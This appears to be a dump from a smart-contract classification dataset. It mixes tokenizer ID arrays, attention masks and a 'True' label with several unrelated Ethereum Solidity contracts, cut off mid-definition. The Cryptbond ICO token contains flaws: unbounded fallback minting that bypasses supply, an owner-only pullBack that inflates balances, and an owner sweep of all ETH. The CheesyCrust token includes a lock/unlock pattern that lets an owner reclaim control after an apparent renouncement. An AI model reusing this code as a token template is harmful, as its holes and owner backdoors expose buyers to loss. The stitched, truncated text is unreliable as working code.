4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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/** * Do you have any questions or suggestions? Emails us @ <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3e4d4b4e4e514c4a7e5d4c474e4a5c51505a10505b4a">[email protected]</a> * * ===================== CRYPTBOND NETWORK =======================* oooooooo8 oooooooooo ooooo oooo oooooooooo ooooooooooo oooooooooo ooooooo oooo oooo ooooooooo o888 88 888 888 888 88 888 888 88 888 88 888 888 o888 888o 8888o 88 888 88o 888 888oooo88 888 888oooo88 888 888oooo88 888 888 88 888o88 888 888 888o oo 888 88o 888 888 888 888 888 888o o888 88 8888 888 888 888oooo88 o888o 88o8 o888o o888o o888o o888ooo888 88ooo88 o88o 88 o888ooo88 oooo oooo ooooooooooo ooooooooooo oooo oooo ooooooo oooooooooo oooo oooo 8888o 88 888 88 88 888 88 88 88 88 o888 888o 888 888 888 o88 88 888o88 888ooo8 888 88 888 88 888 888 888oooo88 888888 88 8888 888 oo 888 888 888 888o o888 888 88o 888 88o o88o 88 o888ooo8888 o888o 8 8 88ooo88 o888o 88o8 o888o o888o * * ===============================================================* */ / For ICO: 50% - For Founders: 10% - For Team: 10% - For Advisors: 10% - For Airdrop: 20% ✅ ICO Timeline: 1️⃣ ICO Round 1: 1 ETH = 1,000,000 CBN 2️⃣ ICO Round 2: 1 ETH = 900,000 CBN 3️⃣ ICO Round 3: 1 ETH = 750,000 CBN 4️⃣ICO Round 4: 1 ETH = 600,000 CBN ✅ When CBN list on Exchanges: - All token sold out - End of ICO / /* * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. / pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / function Ownable() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner public { if(msg.sender != owner){ revert(); } else{ require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } } /* * @title ERC20Standard * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Cryptbond is ERC20Interface,Ownable { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) tokenBalances; string public constant name = "Cryptbond"; string public constant symbol = "CBN"; uint256 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 3000000000; address ownerWallet; // Owner of account approves the transfer of an amount to another account mapping (address => mapping (address => uint256)) allowed; event Debug(string message, address addr, uint256 number); function CBN (address wallet) onlyOwner public { if(msg.sender != owner){ revert(); } else{ ownerWallet=wallet; totalSupply = 3000000000; tokenBalances[wallet] = 3000000000; //Since we divided the token into 10^18 parts } } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(tokenBalances[msg.sender]>=_value); tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= tokenBalances[_from]); require(_value <= allowed[_from][msg.sender]); tokenBalances[_from] = tokenBalances[_from].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } uint price = 0.000001 ether; function() public payable { uint toMint = msg.value/price; //totalSupply += toMint; tokenBalances[msg.sender]+=toMint; Transfer(0,msg.sender,toMint); } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - tokenBalances[address(0)]; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Accept ETH // ------------------------------------------------------------------------ function withdraw() onlyOwner public { if(msg.sender != owner){ revert(); } else{ uint256 etherBalance = this.balance; owner.transfer(etherBalance); } } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance) { return tokenBalances[_owner]; } function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner { require(tokenBalances[buyer]<=tokenAmount); tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount); Transfer(buyer, wallet, tokenAmount); } function showMyTokenBalance(address addr) public view returns (uint tokenBalance) { tokenBalance = tokenBalances[addr]; } }	True	[ 101, 1013, 1008, 1008, 1008, 2079, 2017, 2031, 2151, 3980, 2030, 15690, 1029, 22028, 2149, 1030, 1026, 1037, 17850, 12879, 1027, 1000, 1013, 3729, 2078, 1011, 1039, 5856, 1013, 1048, 1013, 10373, 1011, 3860, 1000, 2465, 1027, 1000, 1035, 1035, 12935, 1035, 10373, 1035, 1035, 1000, 2951, 1011, 12935, 14545, 4014, 1027, 1000, 1017, 2063, 2549, 2094, 2549, 2497, 2549, 2063, 2549, 2063, 22203, 2549, 2278, 2549, 2050, 2581, 2063, 2629, 2094, 2549, 2278, 22610, 2549, 2063, 2549, 2050, 2629, 2278, 22203, 12376, 2629, 27717, 2692, 12376, 2629, 2497, 2549, 2050, 1000, 1028, 1031, 10373, 1004, 1001, 8148, 1025, 5123, 1033, 1026, 1013, 1037, 1028, 1008, 1008, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 19888, 11735, 2094, 2897, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1008, 1051, 9541, 9541, 9541, 2080, 2620, 1051, 9541, 9541, 9541, 9541, 2080, 1051, 9541, 9541, 1051, 9541, 2080, 1051, 9541, 9541, 9541, 9541, 2080, 1051, 9541, 9541, 9541, 9541, 9541, 1051, 9541, 9541, 9541, 9541, 2080, 1051, 9541, 9541, 9541, 1051, 9541, 2080, 1051, 9541, 2080, 1051, 9541, 9541, 9541, 9541, 1051, 2620, 2620, 2620, 6070, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 6070, 2620, 6070, 2620, 6070, 6070, 2620, 6070, 6070, 2620, 6070, 2620, 1051, 2620, 2620, 2620, 6070, 2620, 2080, 6070, 2620, 2620, 2080, 6070, 6070, 2620, 6070, 2080, 6070, 2620, 6070, 2620, 9541, 9541, 2620, 2620, 6070, 2620, 6070, 2620, 9541, 9541, 2620, 2620, 6070, 2620, 6070, 2620, 9541, 9541, 2620, 2620, 6070, 2620, 6070, 2620, 6070, 6070, 2620, 2080, 2620, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 2080, 1051, 2080, 6070, 2620, 6070, 2080, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 2080, 1051, 2620, 2620, 2620, 6070, 6070, 2620, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 9541, 9541, 2620, 2620, 1051, 2620, 2620, 2620, 2080, 6070, 2080, 2620, 1051, 2620, 2620, 2620, 2080, 1051, 2620, 2620, 2620, 2080, 1051, 2620, 2620, 2620, 2080, 1051, 2620, 2620, 2620, 9541, 2080, 2620, 2620, 2620, 6070, 9541, 2080, 2620, 2620, 1051, 2620, 2620, 2080, 6070, 1051, 2620, 2620, 2620, 9541, 2080, 2620, 2620, 1051, 9541, 2080, 1051, 9541, 2080, 1051, 9541, 9541, 9541, 9541, 9541, 1051, 9541, 9541, 9541, 9541, 9541, 1051, 9541, 2080, 1051, 9541, 2080, 1051, 9541, 9541, 9541, 1051, 9541, 9541, 9541, 9541, 2080, 1051, 9541, 2080, 1051, 9541, 2080, 6070, 2620, 2620, 2080, 6070, 6070, 2620, 6070, 6070, 6070, 2620, 6070, 6070, 6070, 6070, 1051, 2620, 2620, 2620, 6070, 2620, 2080, 6070, 2620, 6070, 2620, 6070, 2620, 1051, 2620, 2620, 6070, 6070, 2620, 2080, 2620, 2620, 6070, 2620, 9541, 2080, 2620, 6070, 2620, 6070, 6070, 2620, 6070, 6070, 2620, 6070, 2620, 6070, 2620, 9541, 9541, 2620, 2620, 6070, 2620, 2620, 2620, 2620, 6070, 6070, 2620, 2620, 6070, 2620, 1051, 2080, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 2080, 1051, 2620, 2620, 2620, 6070, 2620, 6070, 2080, 6070, 2620, 6070, 2080, 1051, 2620, 2620, 2080, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-06-25 / // File: localhost/token/interface/ICloneFactory.sol //SPDX-License-Identifier: SimPL-2.0 pragma solidity ^0.6.0; interface ICloneFactory { function clone(address prototype) external returns (address proxy); } // File: localhost/token/createToken/CloneFactory.sol //SPDX-License-Identifier: SimPL-2.0 pragma solidity ^0.6.0; // introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/ // minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167 contract CloneFactory is ICloneFactory { function clone(address prototype) external override returns (address proxy) { bytes20 targetBytes = bytes20(prototype); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) proxy := create(0, clone, 0x37) } return proxy; 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/** Submitted for verification at Etherscan.io on 2022-02-16 / /** * * * / // CheesyCrust.io - t.me/CheesyCrustToken pragma solidity ^0.8.9; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function 